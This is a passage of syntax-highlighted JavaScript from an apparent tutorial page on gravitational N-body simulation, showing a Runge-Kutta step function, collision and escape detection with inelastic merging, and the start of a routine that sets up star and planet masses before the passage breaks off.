<span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="w"> </span><span class="nx">data</span><span class="p">,</span><span class="w"> </span><span class="nx">layout</span><span class="o">:</span><span class="w"> </span><span class="nx">layout</span>
<span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">staticPlot</span><span class="o">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span>
<span class="w"> </span><span class="nx">transition</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">duration</span><span class="o">:</span><span class="w"> </span><span class="mf">0</span><span class="p">,</span>
<span class="w"> </span><span class="p">},</span>
<span class="w"> </span><span class="nx">frame</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">duration</span><span class="o">:</span><span class="w"> </span><span class="mf">0</span><span class="p">,</span>
<span class="w"> </span><span class="nx">redraw</span><span class="o">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">});</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">catch</span><span class="w"> </span><span class="p">(</span><span class="nx">err</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">Plotly</span><span class="p">.</span><span class="nx">newPlot</span><span class="p">(</span><span class="s1">'plot'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="p">,</span><span class="w"> </span><span class="nx">layout</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="nx">plotIndex</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="nx">delay</span><span class="p">;</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">plotClassic</span><span class="o">===</span><span class="kc">true</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">try</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">requestAnimationFrame</span><span class="p">(</span><span class="nx">plotClassicFunc</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">catch</span><span class="w"> </span><span class="p">(</span><span class="nx">err</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">err</span><span class="p">)</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
</code></pre>
</div>
<h2 id="general-n-body-solver">"General" N-Body Solver</h2>
<h3 id="show-me-the-code-2">Show me the code!</h3>
<div class="codehilite">
<pre><span></span><code><span class="kd">function</span><span class="w"> </span><span class="nx">step</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">masses</span><span class="p">,</span><span class="w"> </span><span class="nx">deltaT</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodies</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">3</span><span class="p">,</span><span class="w"> </span><span class="nx">G</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">6.67408313131313e-11</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">k1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="nx">deltaT</span><span class="p">,</span><span class="w"> </span><span class="nx">deltaR</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">masses</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">,</span><span class="w"> </span><span class="nx">G</span><span class="p">));</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">k2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="nx">deltaT</span><span class="p">,</span><span class="w"> </span><span class="nx">deltaR</span><span class="p">(</span><span class="nx">math</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="nx">k1</span><span class="p">,</span><span class="w"> </span><span class="mf">0.5</span><span class="p">)),</span><span class="w"> </span><span class="nx">masses</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">,</span><span class="w"> </span><span class="nx">G</span><span class="p">));</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">k3</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="nx">deltaT</span><span class="p">,</span><span class="w"> </span><span class="nx">deltaR</span><span class="p">(</span><span class="nx">math</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="nx">k2</span><span class="p">,</span><span class="w"> </span><span class="mf">0.5</span><span class="p">)),</span><span class="w"> </span><span class="nx">masses</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">,</span><span class="w"> </span><span class="nx">G</span><span class="p">));</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">k4</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="nx">deltaT</span><span class="p">,</span><span class="w"> </span><span class="nx">deltaR</span><span class="p">(</span><span class="nx">math</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">k3</span><span class="p">),</span><span class="w"> </span><span class="nx">masses</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">,</span><span class="w"> </span><span class="nx">G</span><span class="p">));</span>
<span class="w"> </span><span class="nx">coords</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="nx">math</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">k1</span><span class="p">,</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="mf">2.0</span><span class="p">,</span><span class="w"> </span><span class="nx">k2</span><span class="p">),</span><span class="w"> </span><span class="nx">math</span><span class="p">.</span><span class="nx">multiply</span><span class="p">(</span><span class="mf">2.0</span><span class="p">,</span><span class="w"> </span><span class="nx">k3</span><span class="p">),</span><span class="w"> </span><span class="nx">k4</span><span class="p">),</span><span class="w"> </span><span class="mf">1</span><span class="o">/</span><span class="mf">6</span><span class="p">));</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">coords</span><span class="p">;</span>
<span class="p">}</span>
<span class="kd">function</span><span class="w"> </span><span class="nx">detectCollisionsEscape</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">deltaT</span><span class="p">,</span><span class="w"> </span><span class="nx">maxSep</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="p">[</span><span class="nx">x</span><span class="p">,</span><span class="w"> </span><span class="nx">y</span><span class="p">,</span><span class="w"> </span><span class="nx">vx</span><span class="p">,</span><span class="w"> </span><span class="nx">vy</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">coords</span><span class="p">;</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">V</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">vx</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">v</span><span class="p">,</span><span class="w"> </span><span class="nx">i</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">sqrt</span><span class="p">(</span><span class="nx">v</span><span class="w"> </span><span class="o">**</span><span class="w"> </span><span class="mf">2</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">vy</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="o">**</span><span class="w"> </span><span class="mf">2</span><span class="p">));</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">R</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">V</span><span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">v</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">v</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">deltaT</span><span class="p">);</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">collision</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w"> </span><span class="nx">collisionInds</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w"> </span><span class="nx">escape</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w"> </span><span class="nx">escapeInd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">null</span><span class="p">;</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kd">let</span><span class="w"> </span><span class="nx">n</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="nx">n</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="nx">x</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span><span class="w"> </span><span class="nx">n</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">rn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">R</span><span class="p">[</span><span class="nx">n</span><span class="p">],</span><span class="w"> </span><span class="nx">xn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">x</span><span class="p">[</span><span class="nx">n</span><span class="p">],</span><span class="w"> </span><span class="nx">yn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">y</span><span class="p">[</span><span class="nx">n</span><span class="p">];</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kd">let</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="nx">x</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">i</span><span class="w"> </span><span class="o">!==</span><span class="w"> </span><span class="nx">n</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">minSep</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">rn</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">R</span><span class="p">[</span><span class="nx">i</span><span class="p">];</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">sep</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">sqrt</span><span class="p">((</span><span class="nx">xn</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">x</span><span class="p">[</span><span class="nx">i</span><span class="p">])</span><span class="w"> </span><span class="o">**</span><span class="w"> </span><span class="mf">2</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="nx">yn</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">y</span><span class="p">[</span><span class="nx">i</span><span class="p">])</span><span class="w"> </span><span class="o">**</span><span class="w"> </span><span class="mf">2</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">sep</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="nx">minSep</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">collision</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">true</span><span class="p">;</span>
<span class="w"> </span><span class="nx">collisionInds</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="nx">n</span><span class="p">,</span><span class="w"> </span><span class="nx">i</span><span class="p">];</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">sep</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="nx">maxSep</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">escape</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">true</span><span class="p">;</span>
<span class="w"> </span><span class="nx">escapeInd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">n</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="p">[</span><span class="nx">collision</span><span class="p">,</span><span class="w"> </span><span class="nx">collisionInds</span><span class="p">,</span><span class="w"> </span><span class="nx">escape</span><span class="p">,</span><span class="w"> </span><span class="nx">escapeInd</span><span class="p">];</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="p">[</span><span class="nx">collision</span><span class="p">,</span><span class="w"> </span><span class="nx">collisionInds</span><span class="p">,</span><span class="w"> </span><span class="nx">escape</span><span class="p">,</span><span class="w"> </span><span class="nx">escapeInd</span><span class="p">];</span>
<span class="p">}</span>
<span class="kd">function</span><span class="w"> </span><span class="nx">nBodyStep</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">masses</span><span class="p">,</span><span class="w"> </span><span class="nx">deltaT</span><span class="p">,</span><span class="w"> </span><span class="nx">maxSep</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">,</span><span class="w"> </span><span class="nx">G</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">6.67408313131313e-11</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="c1">// Similar to our step function before, but keeping track of collisions</span>
<span class="w"> </span><span class="nx">coords</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">step</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">masses</span><span class="p">,</span><span class="w"> </span><span class="nx">deltaT</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">,</span><span class="w"> </span><span class="nx">G</span><span class="p">);</span><span class="w"> </span><span class="c1">// Update the positions as we did before</span>
<span class="w"> </span><span class="c1">//console.log(detectCollisionsEscape(coords, deltaT, maxSep));</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="p">[</span><span class="nx">collision</span><span class="p">,</span><span class="w"> </span><span class="nx">collisionInds</span><span class="p">,</span><span class="w"> </span><span class="nx">escape</span><span class="p">,</span><span class="w"> </span><span class="nx">escapeInd</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">detectCollisionsEscape</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">deltaT</span><span class="p">,</span><span class="w"> </span><span class="nx">maxSep</span><span class="p">);</span><span class="w"> </span><span class="c1">// Detect collisions/escapes</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">collision</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="c1">// Do inelastic collision and delete extra body (2 -> 1)</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="p">[</span><span class="nx">i1</span><span class="p">,</span><span class="w"> </span><span class="nx">i2</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">collisionInds</span><span class="p">;</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="p">[</span><span class="nx">x1</span><span class="p">,</span><span class="w"> </span><span class="nx">x2</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="nx">coords</span><span class="p">[</span><span class="mf">0</span><span class="p">][</span><span class="nx">i1</span><span class="p">],</span><span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">0</span><span class="p">][</span><span class="nx">i2</span><span class="p">]];</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="p">[</span><span class="nx">y1</span><span class="p">,</span><span class="w"> </span><span class="nx">y2</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="nx">coords</span><span class="p">[</span><span class="mf">1</span><span class="p">][</span><span class="nx">i1</span><span class="p">],</span><span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">1</span><span class="p">][</span><span class="nx">i2</span><span class="p">]];</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="p">[</span><span class="nx">vx1</span><span class="p">,</span><span class="w"> </span><span class="nx">vx2</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="nx">coords</span><span class="p">[</span><span class="mf">2</span><span class="p">][</span><span class="nx">i1</span><span class="p">],</span><span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">2</span><span class="p">][</span><span class="nx">i2</span><span class="p">]];</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="p">[</span><span class="nx">vy1</span><span class="p">,</span><span class="w"> </span><span class="nx">vy2</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="nx">coords</span><span class="p">[</span><span class="mf">3</span><span class="p">][</span><span class="nx">i1</span><span class="p">],</span><span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">3</span><span class="p">][</span><span class="nx">i2</span><span class="p">]];</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="p">[</span><span class="nx">px1</span><span class="p">,</span><span class="w"> </span><span class="nx">px2</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="nx">masses</span><span class="p">[</span><span class="nx">i1</span><span class="p">]</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">vx1</span><span class="p">,</span><span class="w"> </span><span class="nx">masses</span><span class="p">[</span><span class="nx">i2</span><span class="p">]</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">vx2</span><span class="p">];</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="p">[</span><span class="nx">py1</span><span class="p">,</span><span class="w"> </span><span class="nx">py2</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="nx">masses</span><span class="p">[</span><span class="nx">i1</span><span class="p">]</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">vy1</span><span class="p">,</span><span class="w"> </span><span class="nx">masses</span><span class="p">[</span><span class="nx">i2</span><span class="p">]</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">vy2</span><span class="p">];</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">px</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">px1</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">px2</span><span class="p">;</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">py</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">py1</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">py2</span><span class="p">;</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">newM</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">masses</span><span class="p">[</span><span class="nx">i1</span><span class="p">]</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">masses</span><span class="p">[</span><span class="nx">i2</span><span class="p">];</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">vfx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">px</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="nx">newM</span><span class="p">;</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">vfy</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">py</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="nx">newM</span><span class="p">;</span>
<span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">0</span><span class="p">][</span><span class="nx">i1</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nx">x1</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">masses</span><span class="p">[</span><span class="nx">i1</span><span class="p">]</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">x2</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">masses</span><span class="p">[</span><span class="nx">i2</span><span class="p">])</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="p">(</span><span class="nx">masses</span><span class="p">[</span><span class="nx">i1</span><span class="p">]</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">masses</span><span class="p">[</span><span class="nx">i2</span><span class="p">]);</span><span class="w"> </span><span class="c1">// Center of mass</span>
<span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">1</span><span class="p">][</span><span class="nx">i1</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nx">y1</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">masses</span><span class="p">[</span><span class="nx">i1</span><span class="p">]</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">y2</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">masses</span><span class="p">[</span><span class="nx">i2</span><span class="p">])</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="p">(</span><span class="nx">masses</span><span class="p">[</span><span class="nx">i1</span><span class="p">]</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">masses</span><span class="p">[</span><span class="nx">i2</span><span class="p">]);</span>
<span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">2</span><span class="p">][</span><span class="nx">i1</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">vfx</span><span class="p">;</span>
<span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">3</span><span class="p">][</span><span class="nx">i1</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">vfy</span><span class="p">;</span>
<span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">0</span><span class="p">].</span><span class="nx">splice</span><span class="p">(</span><span class="nx">i2</span><span class="p">,</span><span class="w"> </span><span class="mf">1</span><span class="p">);</span>
<span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">1</span><span class="p">].</span><span class="nx">splice</span><span class="p">(</span><span class="nx">i2</span><span class="p">,</span><span class="w"> </span><span class="mf">1</span><span class="p">);</span>
<span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">2</span><span class="p">].</span><span class="nx">splice</span><span class="p">(</span><span class="nx">i2</span><span class="p">,</span><span class="w"> </span><span class="mf">1</span><span class="p">);</span>
<span class="w"> </span><span class="nx">coords</span><span class="p">[</span><span class="mf">3</span><span class="p">].</span><span class="nx">splice</span><span class="p">(</span><span class="nx">i2</span><span class="p">,</span><span class="w"> </span><span class="mf">1</span><span class="p">);</span>
<span class="w"> </span><span class="nx">masses</span><span class="p">[</span><span class="nx">i1</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">newM</span><span class="p">;</span>
<span class="w"> </span><span class="nx">masses</span><span class="p">.</span><span class="nx">splice</span><span class="p">(</span><span class="nx">i2</span><span class="p">,</span><span class="w"> </span><span class="mf">1</span><span class="p">);</span>
<span class="w"> </span><span class="nx">nBodies</span><span class="o">--</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="c1">// Could also implement condition for escape where we stop calculating forces but I'm too lazy for now</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="p">[</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">masses</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">,</span><span class="w"> </span><span class="nx">collision</span><span class="p">,</span><span class="w"> </span><span class="nx">collisionInds</span><span class="p">,</span><span class="w"> </span><span class="nx">escape</span><span class="p">,</span><span class="w"> </span><span class="nx">escapeInd</span><span class="p">];</span>
<span class="p">}</span>
<span class="kd">function</span><span class="w"> </span><span class="nx">uniform</span><span class="p">(</span><span class="nx">min</span><span class="p">,</span><span class="w"> </span><span class="nx">max</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">random</span><span class="p">()</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="p">(</span><span class="nx">max</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">min</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">min</span><span class="p">;</span>
<span class="p">}</span>
<span class="kd">function</span><span class="w"> </span><span class="nx">deepCopyCoordsArray</span><span class="p">(</span><span class="nx">arr</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">arr</span><span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">innerArr</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">innerArr</span><span class="p">.</span><span class="nx">slice</span><span class="p">());</span>
<span class="p">}</span>
<span class="kd">function</span><span class="w"> </span><span class="nx">genNBodyResults</span><span class="p">(</span><span class="nx">nBodies</span><span class="p">,</span><span class="w"> </span><span class="nx">tStop</span><span class="p">,</span><span class="w"> </span><span class="nx">nTPts</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodiesStop</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">10</span><span class="p">,</span><span class="w"> </span><span class="nx">G</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">6.67408313131313e-11</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">btn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">"startSim3"</span><span class="p">);</span>
<span class="w"> </span><span class="c1">// Set button text to Solving</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">prevText</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">btn</span><span class="p">.</span><span class="nx">innerHTML</span><span class="p">;</span>
<span class="w"> </span><span class="nx">btn</span><span class="p">.</span><span class="nx">innerHTML</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"Solving..."</span><span class="p">;</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">coords</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="nb">Array</span><span class="p">(</span><span class="nx">nBodies</span><span class="p">).</span><span class="nx">fill</span><span class="p">(</span><span class="mf">0</span><span class="p">),</span><span class="w"> </span><span class="nb">Array</span><span class="p">(</span><span class="nx">nBodies</span><span class="p">).</span><span class="nx">fill</span><span class="p">(</span><span class="mf">0</span><span class="p">),</span><span class="w"> </span><span class="nb">Array</span><span class="p">(</span><span class="nx">nBodies</span><span class="p">).</span><span class="nx">fill</span><span class="p">(</span><span class="mf">0</span><span class="p">),</span><span class="w"> </span><span class="nb">Array</span><span class="p">(</span><span class="nx">nBodies</span><span class="p">).</span><span class="nx">fill</span><span class="p">(</span><span class="mf">0</span><span class="p">)];</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">Mstar</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">2e30</span><span class="p">;</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">Mp</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">Mstar</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">1e4</span><span class="p">;</span>
